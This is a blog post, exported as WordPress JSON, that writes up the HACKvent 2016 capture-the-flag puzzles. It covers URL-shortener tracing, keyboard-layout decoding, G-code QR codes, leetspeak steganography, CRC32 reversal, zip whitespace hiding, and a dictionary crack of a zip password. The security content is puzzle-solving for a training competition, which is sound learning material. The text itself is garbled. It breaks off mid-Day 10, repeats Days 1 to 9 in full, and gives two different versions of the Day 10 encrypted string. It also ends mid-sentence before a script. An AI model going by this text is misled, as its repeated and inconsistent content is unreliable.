{"id":494,"date":"2017-01-01T21:54:57","date_gmt":"2017-01-01T20:54:57","guid":{"rendered":"http:\/\/www.sigterm.ch\/?p=494"},"modified":"2022-12-26T19:27:49","modified_gmt":"2022-12-26T18:27:49","slug":"hackvent-2016-write-up","status":"publish","type":"post","link":"https:\/\/sigterm.ch\/?p=494","title":{"rendered":"HACKvent 2016 write-up"},"content":{"rendered":"

Update 06.01.2017:<\/strong> Added the challenge descriptions. Thanks to\u00a0khr0x40sh!
\nHACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day\u00a0and full points are only given if they get solved within the same day.
\nI solved all challenges except the last one,\u00a0but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.
\nI ended on rank #23.
\n\"Ranking<\/a><\/p>\n

\"\"<\/a>Day 01 – Detours:<\/h1>\n

Follow the white rabbit…<\/em><\/p>\n

Description:<\/strong>
\nSanta receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?
\nhttp:\/\/ow.ly\/I7KW3070pzr&#8221
\n<\/a>http:\/\/ow.ly\/oyST3070pBj&#8221
\n<\/a>http:\/\/ow.ly\/fABn3070pCs&#8221<\/a>
\nSolution:
\n<\/strong>If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:
\n1: http:\/\/tiny.cc\/HV16-t8Kd<\/strong>
\n2: http:\/\/tiny.cc\/38aY-QxL5<\/strong>
\n3: http:\/\/tiny.cc\/bn4K-c6Lw<\/strong>
\nIn the URL of the intermediate url-shortener\u00a0we see the nugget:
\nHV16-t8Kd-38aY-QxL5-bn4K-c6Lw<\/strong><\/p>\n

\n

\"\"<\/a>Day 02 – Free Giveaway:<\/h1>\n

the keys are the key<\/em><\/p>\n

Description:
\n<\/strong>Today, Santa has a free giveaway for you:<\/p>\n

DK16[OEdo[“lu[;”Nl[R”D4[2Qmi<\/strong><\/div>\n

Solution:<\/strong>
\nAfter trying many things(like xoring, substitution cyphers, …) to decrypt the nugget, I thought it must be something related to\u00a0the hint “they keys are the key”. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.
\nI used an online Dvorak converter and got the key.
\nhttp:\/\/wbic16.xedoloh.com\/dvorak.html<\/a>
\nHV16-SDhs-qqpf-zQLp-OQH4-2Xmg<\/strong><\/p>\n

\n

\"\"<\/a>Day 03 – Manufactory:<\/h1>\n

Do it yourself<\/em><\/p>\n

Description:<\/strong>
\nToday\u2019s gift is ready to be manufactured, but Santa\u2019s afraid that his factory won\u2019t manage to do a production run before christmas. But perhaps you can create it yourself?
\nGet Building Instructions<\/a>
\nSolution:<\/strong>
\nIn the header of the instruction file we\u00a0can\u00a0see it was generated by slic3r, which is a g-code generator for 3d printers.
\nI used an online gcode viewer where I could\u00a0upload the file: http:\/\/gcode.ws\/
\nIn the 3D view of the tool a\u00a0QR Code becomes visible, which then reveals the nugget:
\n\"\"<\/a>
\nHV16-oY2d-2Ki7-JBDe-VVdg-X8bW<\/strong><\/p>\n

\n

\"\"<\/a>Day 04 – Language Of Us:<\/h1>\n

Why so seriously?<\/em><\/p>\n

Description:
\n<\/strong>You all should know this language, but this one is not that consequent as it should be.
\nthe-text.txt<\/a>
\nSolution:<\/strong>
\nFirst I created a script which translated it\u00a0to normal text. But this just results in\u00a0the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says\u00a0the leetspeak is not very consequent… So the code must\u00a0depend on if a character is written in leetspeak or not:
\nAll leetspeak characters are a 1 and all others a 0.
\nI used\u00a0this bash command to convert the text to the binary string:<\/p>\n

#!\/bin\/bash\ncat the-text.txt | sed 's\/3\/1\/g' | sed 's\/4\/1\/g' | sed 's\/9\/1\/g' | sed 's\/7\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/5\/1\/g' | sed 's\/!\/1\/g' | sed 's\/\\\\\\\/\\\\\\\/\/1\/g' | sed 's\/|\\\/|\/1\/g' | sed 's\/|-|\/1\/g' | sed 's\/(\/1\/g' | sed 's\/|\\*\/1\/g' | sed 's\/|2\/1\/g' | sed 's\/\\`\\\/\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/\\\/v\\\\\/1\/g' | sed 's\/|<\/1\/g' | sed 's\/|)\/1\/g' | sed \"s\/\\\\\\'\/1\/g\" | sed 's\/8\/1\/g' | sed 's\/0\/1\/g' | sed 's\/\u00a3\/1\/g' | sed 's\/|_|\/1\/g' | sed 's\/><\/1\/g' | sed 's\/_|\/1\/g' | sed 's\/[a-z]\/0\/g'<\/pre>\n
The output of the bash script is:<\/p>\n
0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 “1011010, 010110100, 10 110100101”, 101 00101101 0010110 “1001011”.<\/span><\/em><\/p>\n
010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111’0 110111101.<\/span><\/em><\/p>\n
001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 – 11 101000 101 10100101101 – 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.<\/span><\/em><\/p>\n
1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.<\/span><\/em><\/p>\n
http:\/\/www.unit-conversion.info\/texttools\/convert-text-to-binary\/#data
\nHV16-O7oI-W34j-BJH7-cSvk-e5Hz<\/strong><\/p>\n
\n
\"\"<\/a>Day 05 – Boolean Fun:<\/h1>\n
Every Bit Is Important<\/em><\/p>\n
Description:<\/strong>
\nSanta found a paper with some strange logical stuff on it. On the back of it there is the hint: \u201cuse 32 bit\u201d.
\nHe has no clue what this means \u2013 can you show him, what \u201c???\u201d should be?
\n\"\"<\/a>
\nSolution:<\/strong>
\nI took the simple path with python \ud83d\ude09<\/p>\n
#!\/usr\/bin\/python\nprint (~((4 | 7) ^ (1337 & 424242))) | 0xB055<\/pre>\n
The result is -291, submitting this to the website returns\u00a0a QR code with\u00a0the nugget:
\nHV16-2wGq-wOX3-T2oe-n8si-hZ0A<\/strong><\/p>\n
\n
\"\"<\/a>Day 06 – Back 2 Work:<\/h1>\n
Greetings from Thumper<\/em><\/p>\n
Description:<\/strong>
\nGreetings from Thumper, he has an order for you:
\n1. unzip: the password is confidential
\n2. find the flag
\n3. look at my holiday pictures
\nComment:<\/strong> Be aware, the pictures are only supplement.
\nholiday.zip<\/a>
\nSolution:<\/strong>
\nUnfortunately the comment, about the pictures being only supplement, was not there\u00a0from the beginning. I wasted a lot of time\u00a0trying to find hidden things\u00a0in the pictures instead of the zip file! \ud83d\ude41
\nAfter the comment was uploaded, it was clear it’s something with the zipfile itself. Looking closer at it\u00a0with hexdump, shows\u00a0a suspicious pattern. In the end, where all the filenames in the archive\u00a0are listed, there are is a pattern with 0x09 and 0x20 between the file names.
\n…
\n013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |
\n013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | ….. . … |
\n013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK…….|
\n01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |…..’I…4….A|
\n01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |…………….|
\n01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |…..image_0005.|
\n01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20
\n…
\nIf we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote\u00a0these 25 binary strings to\u00a0a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with ‘#’ and the 0 with a whitespace and I got this:
\n\"\"<\/a>
\nBut this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character ‘FULL BLOCK’ (U+2588):
\n\"\"<\/a>
\nStill not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.
\n\"\"<\/a>HV16-y9YO-sDo1-Vi7O-RWq1-V7hN<\/strong><\/p>\n
\n
\"\"<\/a>Day 07 – TrivialKRYPTO 1.42:<\/h1>\n
You think you need the password?<\/em><\/p>\n
Description:<\/strong>
\nToday\u2019s present is encrypted. Luckily Santa did not use Kryptochef\u2019s KRYPTO 2.0 so there might be a slight chance of recovering it?
\nGet me there \u2026<\/a>
\nSolution:<\/strong>
\nFirst step is\u00a0analysing the source code of the webpage. There you can\u00a0see that all the crypto is done in javascript, on the client side. So we know\u00a0exactly what’s going on, but we first need to understand it. The most relevant parts of the source are:<\/p>\n
s3cr3t=[2155568001,3847164610,2684356740,2908571526,2557362074,2853440707,3849194977,3171764887];\n...\nvar s=\"\";\nfor(var i=0;i<s3cr3t.length;i++) {\nvar pp=\"\";\nfor(var p = (s3cr3t[i] ^ crc32(pass)); p>0; p>>=8) {\npp = String.fromCharCode(p&0xFF)+pp;\n}\ns+=pp;\n}\n...<\/pre>\n
What\u00a0means the CRC32 of the entered password is xored with the values in s3cr3t, always\u00a08 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits,\u00a0therefore we have 4 runs in the loop until p>0 (p>>=8). This means the s3cr3t[0] loop returns\u00a04 characters which have to be “HV16”!
\n-> s3cr3t[0] ^ crc32(pass) = “HV16”
\n-> crc32(pass) = s3cr3t[0] ^ “HV16”
\n-> crc32(pass) = 2155568001 ^ 0x48563136 \/\/take value & HV16 to hex
\nhttp:\/\/xor.pw
\n-> crc32(pass) = c82d6ab7
\nHow can we reverse the CRC32?!
\nhttp:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html<\/a>
\nI downloaded the code in the end and adapt it to our string:<\/p>\n
vim ReverseCRC.cpp\nint main(void) {\n  testOne(0x0, 0xc82d6ab7);\n  testOneAscii(0x0, 0xc82d6ab7);\n  return 0;\n}<\/pre>\n
initial: 0x00000000 OK – bytes to add: { 0x84, 0xa3, 0x93, 0x8e }
\ninitial: 0x00000000 OK – string to add: 3tnaIl<\/strong>
\nEnter ‘3tnaIl’ as password on the website which returns\u00a0the nugget:
\nHV16-bxuh-b3ep-1PCU-b9ft-CgVu<\/strong><\/p>\n
\n
\"\"<\/a>Day 08 – Lost In Encoding:<\/h1>\n
Multiple encodings = good encryption?<\/em><\/p>\n
Description:<\/strong>
\nSanta and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.
\nIt\u2019s now on you, who has to get it up.
\nl0st_1n_7ranslation.fun<\/a>
\nSolution:<\/strong>
\nReally helpful link!
\nhttp:\/\/www.garykessler.net\/library\/file_sigs.html<\/a>
\n1. yenc decode the full file
\nhttp:\/\/www.webutils.pl\/index.php?idx=yenc<\/a>
\n2. base64 decode
\n3. ASCII85 decode. I had a problems identifying this encoding. It starts with “<~” and ends with “~>”, so it was pretty obvious what to google for. Unfortunately you cannot google this \ud83d\ude42 The garykessler.net link really helped a lot here!
\nAfter the ASCII85 decoding this text is revealed:
\nComputer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. – Eric S. Raymond
\nHV16-l0st-1n7r-4nsl-4710-n00b<\/strong><\/p>\n
\n
\"\"<\/a>Day 09 – Illegal Prime Number:<\/h1>\n
Huh \u2013 what the f***?<\/em><\/p>\n
Description:<\/strong>
\nI\u2019ve heard something about illegal prime numbers\u2026 Maybe this number contains the flag:<\/p>\n
\n
4315891123054519227800425234439024406406805990983946954154956695012431283551657417585179574642755601169096280017484467053951914982126613234225200384245049037787654523558017678649278076716108200271927575791497929092184238813619846729315518237924881623603111094979071286017407153529043066655388316378457694291590703681341752561492723137474482263373673210248633961843479034160811982934510083276506238457901538373531195688165166964398815874378480986164601388393975141268984935852959700100872597068350527482364309<\/pre>\n<\/div>\n
Solution:<\/strong>
\nIllegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is\u00a0the illegal prime number\u00a0which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.
\nI used the extraction script of this website:
\nhttp:\/\/primes.utm.edu\/curios\/page.php?number_id=953<\/a>
\nI modified the extraction script to work with the given\u00a0number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password “qwerty” in no time.
\nHV16-0228-d75b-40cd-8a0e-1f3e<\/strong><\/p>\n
\n
\"\"<\/a>Day 10 – I want to play a Game:<\/h1>\n
Part One<\/em><\/p>\n
Description:<\/strong>
\nReversing Day 1: we\u2019ll start with an easy one.<\/p>\n
Gimme that thing!<\/a><\/div>\n
Solution:<\/strong>
\nI was a bit lucky here, didn’t really need to reverse the code:
\n1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:<\/p>\n
KR40*^d?r!CdhX<w<\/pre>\n
Update 06.01.2017:<\/strong> Added the challenge descriptions. Thanks to\u00a0khr0x40sh!
\nHACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day\u00a0and full points are only given if they get solved within the same day.
\nI solved all challenges except the last one,\u00a0but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.
\nI ended on rank #23.
\n<\/a><\/p>\n
\"\"<\/a>Day 01 – Detours:<\/h1>\n
Follow the white rabbit…<\/em><\/p>\n
Description:<\/strong>
\nSanta receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?
\nhttp:\/\/ow.ly\/I7KW3070pzr&#8221
\n<\/a>http:\/\/ow.ly\/oyST3070pBj&#8221
\n<\/a>http:\/\/ow.ly\/fABn3070pCs&#8221<\/a>
\nSolution:
\n<\/strong>If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:
\n1: http:\/\/tiny.cc\/HV16-t8Kd<\/strong>
\n2: http:\/\/tiny.cc\/38aY-QxL5<\/strong>
\n3: http:\/\/tiny.cc\/bn4K-c6Lw<\/strong>
\nIn the URL of the intermediate url-shortener\u00a0we see the nugget:
\nHV16-t8Kd-38aY-QxL5-bn4K-c6Lw<\/strong><\/p>\n
\n
\"\"<\/a>Day 02 – Free Giveaway:<\/h1>\n
the keys are the key<\/em><\/p>\n
Description:
\n<\/strong>Today, Santa has a free giveaway for you:<\/p>\n
DK16[OEdo[“lu[;”Nl[R”D4[2Qmi<\/strong><\/div>\n
Solution:<\/strong>
\nAfter trying many things(like xoring, substitution cyphers, …) to decrypt the nugget, I thought it must be something related to\u00a0the hint “they keys are the key”. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.
\nI used an online Dvorak converter and got the key.
\nhttp:\/\/wbic16.xedoloh.com\/dvorak.html<\/a>
\nHV16-SDhs-qqpf-zQLp-OQH4-2Xmg<\/strong><\/p>\n
\n
\"\"<\/a>Day 03 – Manufactory:<\/h1>\n
Do it yourself<\/em><\/p>\n
Description:<\/strong>
\nToday\u2019s gift is ready to be manufactured, but Santa\u2019s afraid that his factory won\u2019t manage to do a production run before christmas. But perhaps you can create it yourself?
\nGet Building Instructions<\/a>
\nSolution:<\/strong>
\nIn the header of the instruction file we\u00a0can\u00a0see it was generated by slic3r, which is a g-code generator for 3d printers.
\nI used an online gcode viewer where I could\u00a0upload the file: http:\/\/gcode.ws\/
\nIn the 3D view of the tool a\u00a0QR Code becomes visible, which then reveals the nugget:
\n\"\"<\/a>
\nHV16-oY2d-2Ki7-JBDe-VVdg-X8bW<\/strong><\/p>\n
\n
\"\"<\/a>Day 04 – Language Of Us:<\/h1>\n
Why so seriously?<\/em><\/p>\n
Description:
\n<\/strong>You all should know this language, but this one is not that consequent as it should be.
\nthe-text.txt<\/a>
\nSolution:<\/strong>
\nFirst I created a script which translated it\u00a0to normal text. But this just results in\u00a0the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says\u00a0the leetspeak is not very consequent… So the code must\u00a0depend on if a character is written in leetspeak or not:
\nAll leetspeak characters are a 1 and all others a 0.
\nI used\u00a0this bash command to convert the text to the binary string:<\/p>\n
#!\/bin\/bash\ncat the-text.txt | sed 's\/3\/1\/g' | sed 's\/4\/1\/g' | sed 's\/9\/1\/g' | sed 's\/7\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/5\/1\/g' | sed 's\/!\/1\/g' | sed 's\/\\\\\\\/\\\\\\\/\/1\/g' | sed 's\/|\\\/|\/1\/g' | sed 's\/|-|\/1\/g' | sed 's\/(\/1\/g' | sed 's\/|\\*\/1\/g' | sed 's\/|2\/1\/g' | sed 's\/\\`\\\/\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/\\\/v\\\\\/1\/g' | sed 's\/|<\/1\/g' | sed 's\/|)\/1\/g' | sed \"s\/\\\\\\'\/1\/g\" | sed 's\/8\/1\/g' | sed 's\/0\/1\/g' | sed 's\/\u00a3\/1\/g' | sed 's\/|_|\/1\/g' | sed 's\/><\/1\/g' | sed 's\/_|\/1\/g' | sed 's\/[a-z]\/0\/g'<\/pre>\n
The output of the bash script is:<\/p>\n
0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 “1011010, 010110100, 10 110100101”, 101 00101101 0010110 “1001011”.<\/span><\/em><\/p>\n
010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111’0 110111101.<\/span><\/em><\/p>\n
001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 – 11 101000 101 10100101101 – 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.<\/span><\/em><\/p>\n
1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.<\/span><\/em><\/p>\n
http:\/\/www.unit-conversion.info\/texttools\/convert-text-to-binary\/#data
\nHV16-O7oI-W34j-BJH7-cSvk-e5Hz<\/strong><\/p>\n
\n
\"\"<\/a>Day 05 – Boolean Fun:<\/h1>\n
Every Bit Is Important<\/em><\/p>\n
Description:<\/strong>
\nSanta found a paper with some strange logical stuff on it. On the back of it there is the hint: \u201cuse 32 bit\u201d.
\nHe has no clue what this means \u2013 can you show him, what \u201c???\u201d should be?
\n\"\"<\/a>
\nSolution:<\/strong>
\nI took the simple path with python \ud83d\ude09<\/p>\n
#!\/usr\/bin\/python\nprint (~((4 | 7) ^ (1337 & 424242))) | 0xB055<\/pre>\n
The result is -291, submitting this to the website returns\u00a0a QR code with\u00a0the nugget:
\nHV16-2wGq-wOX3-T2oe-n8si-hZ0A<\/strong><\/p>\n
\n
\"\"<\/a>Day 06 – Back 2 Work:<\/h1>\n
Greetings from Thumper<\/em><\/p>\n
Description:<\/strong>
\nGreetings from Thumper, he has an order for you:
\n1. unzip: the password is confidential
\n2. find the flag
\n3. look at my holiday pictures
\nComment:<\/strong> Be aware, the pictures are only supplement.
\nholiday.zip<\/a>
\nSolution:<\/strong>
\nUnfortunately the comment, about the pictures being only supplement, was not there\u00a0from the beginning. I wasted a lot of time\u00a0trying to find hidden things\u00a0in the pictures instead of the zip file! \ud83d\ude41
\nAfter the comment was uploaded, it was clear it’s something with the zipfile itself. Looking closer at it\u00a0with hexdump, shows\u00a0a suspicious pattern. In the end, where all the filenames in the archive\u00a0are listed, there are is a pattern with 0x09 and 0x20 between the file names.
\n…
\n013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |
\n013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | ….. . … |
\n013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK…….|
\n01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |…..’I…4….A|
\n01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |…………….|
\n01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |…..image_0005.|
\n01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20
\n…
\nIf we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote\u00a0these 25 binary strings to\u00a0a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with ‘#’ and the 0 with a whitespace and I got this:
\n\"\"<\/a>
\nBut this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character ‘FULL BLOCK’ (U+2588):
\n\"\"<\/a>
\nStill not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.
\n\"\"<\/a>HV16-y9YO-sDo1-Vi7O-RWq1-V7hN<\/strong><\/p>\n
\n
\"\"<\/a>Day 07 – TrivialKRYPTO 1.42:<\/h1>\n
You think you need the password?<\/em><\/p>\n
Description:<\/strong>
\nToday\u2019s present is encrypted. Luckily Santa did not use Kryptochef\u2019s KRYPTO 2.0 so there might be a slight chance of recovering it?
\nGet me there \u2026<\/a>
\nSolution:<\/strong>
\nFirst step is\u00a0analysing the source code of the webpage. There you can\u00a0see that all the crypto is done in javascript, on the client side. So we know\u00a0exactly what’s going on, but we first need to understand it. The most relevant parts of the source are:<\/p>\n
s3cr3t=[2155568001,3847164610,2684356740,2908571526,2557362074,2853440707,3849194977,3171764887];\n...\nvar s=\"\";\nfor(var i=0;i<s3cr3t.length;i++) {\nvar pp=\"\";\nfor(var p = (s3cr3t[i] ^ crc32(pass)); p>0; p>>=8) {\npp = String.fromCharCode(p&0xFF)+pp;\n}\ns+=pp;\n}\n...<\/pre>\n
What\u00a0means the CRC32 of the entered password is xored with the values in s3cr3t, always\u00a08 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits,\u00a0therefore we have 4 runs in the loop until p>0 (p>>=8). This means the s3cr3t[0] loop returns\u00a04 characters which have to be “HV16”!
\n-> s3cr3t[0] ^ crc32(pass) = “HV16”
\n-> crc32(pass) = s3cr3t[0] ^ “HV16”
\n-> crc32(pass) = 2155568001 ^ 0x48563136 \/\/take value & HV16 to hex
\nhttp:\/\/xor.pw
\n-> crc32(pass) = c82d6ab7
\nHow can we reverse the CRC32?!
\nhttp:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html<\/a>
\nI downloaded the code in the end and adapt it to our string:<\/p>\n
vim ReverseCRC.cpp\nint main(void) {\n  testOne(0x0, 0xc82d6ab7);\n  testOneAscii(0x0, 0xc82d6ab7);\n  return 0;\n}<\/pre>\n
initial: 0x00000000 OK – bytes to add: { 0x84, 0xa3, 0x93, 0x8e }
\ninitial: 0x00000000 OK – string to add: 3tnaIl<\/strong>
\nEnter ‘3tnaIl’ as password on the website which returns\u00a0the nugget:
\nHV16-bxuh-b3ep-1PCU-b9ft-CgVu<\/strong><\/p>\n
\n
\"\"<\/a>Day 08 – Lost In Encoding:<\/h1>\n
Multiple encodings = good encryption?<\/em><\/p>\n
Description:<\/strong>
\nSanta and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.
\nIt\u2019s now on you, who has to get it up.
\nl0st_1n_7ranslation.fun<\/a>
\nSolution:<\/strong>
\nReally helpful link!
\nhttp:\/\/www.garykessler.net\/library\/file_sigs.html<\/a>
\n1. yenc decode the full file
\nhttp:\/\/www.webutils.pl\/index.php?idx=yenc<\/a>
\n2. base64 decode
\n3. ASCII85 decode. I had a problems identifying this encoding. It starts with “<~” and ends with “~>”, so it was pretty obvious what to google for. Unfortunately you cannot google this \ud83d\ude42 The garykessler.net link really helped a lot here!
\nAfter the ASCII85 decoding this text is revealed:
\nComputer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. – Eric S. Raymond
\nHV16-l0st-1n7r-4nsl-4710-n00b<\/strong><\/p>\n
\n
\"\"<\/a>Day 09 – Illegal Prime Number:<\/h1>\n
Huh \u2013 what the f***?<\/em><\/p>\n
Description:<\/strong>
\nI\u2019ve heard something about illegal prime numbers\u2026 Maybe this number contains the flag:<\/p>\n
\n
4315891123054519227800425234439024406406805990983946954154956695012431283551657417585179574642755601169096280017484467053951914982126613234225200384245049037787654523558017678649278076716108200271927575791497929092184238813619846729315518237924881623603111094979071286017407153529043066655388316378457694291590703681341752561492723137474482263373673210248633961843479034160811982934510083276506238457901538373531195688165166964398815874378480986164601388393975141268984935852959700100872597068350527482364309<\/pre>\n<\/div>\n
Solution:<\/strong>
\nIllegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is\u00a0the illegal prime number\u00a0which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.
\nI used the extraction script of this website:
\nhttp:\/\/primes.utm.edu\/curios\/page.php?number_id=953<\/a>
\nI modified the extraction script to work with the given\u00a0number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password “qwerty” in no time.
\nHV16-0228-d75b-40cd-8a0e-1f3e<\/strong><\/p>\n
\n
\"\"<\/a>Day 10 – I want to play a Game:<\/h1>\n
Part One<\/em><\/p>\n
Description:<\/strong>
\nReversing Day 1: we\u2019ll start with an easy one.<\/p>\n
Gimme that thing!<\/a><\/div>\n
Solution:<\/strong>
\nI was a bit lucky here, didn’t really need to reverse the code:
\n1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:<\/p>\n
B;T{6*,TW<\/pre>\n
2. We know the nugget always starts with “HV16-“”
\n3. XOR “HV16” with “KR40*” results in “304050607”. Suspicious, isn’t it?
\n4. If we continue the hex stream until the end:
\n30405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f
\n5. XOR the\u00a0hex stream with the encrypted nugget:
\nHV16-Vm5y-NjgH-e7tW-PgMa-61JH<\/strong><\/p>\n
\n
\"\"<\/a>Day 11 – A-maze-ing GIFt:<\/h1>\n
Go find the codes!<\/em><\/p>\n
Description:<\/strong>
\nWill you manage to recover today\u2019s code from this strange picture?
\nIt looks like a maze of some kind, and somewhere deep inside there might be more than what you\u2019d expect at the first glance\u2026
\n\"\"<\/a>
\nSolution:<\/strong>
\nObviously this is a QR code, but not yet readable in this format.
\n1. Enhance:
\nconvert qr_code_error.jpg -morphology open square:1 -threshold 98% result.png
\n2. Did some magic with Gimp
\n\"\"<\/a>HV16-otli-KbAg-MDVb-TMTO-WTDI<\/strong><\/p>\n
Hidden Nugget:<\/h2>\n
According to the description it is clear that more than just one code is hidden here. Then they also submitted the hint “In doubt, let the last two parts of your first find lead you deeper into the maze.” to the website. The last two parts of your first find would be TMTO-WTDI, if you google this you find the perl motto “There’s more than one way to do it”.
\nI tried many different things here until I came to the right solution. It was clear it’s something with Perl but I couldn’t get it at first.
\nIt’s possible to run the MandM.gif as perl:
\n.\/perl MandM.gif
\nWhich asks for a PIN.
\nI wrote a small shell script to\u00a0bruteforce the key:<\/p>\n
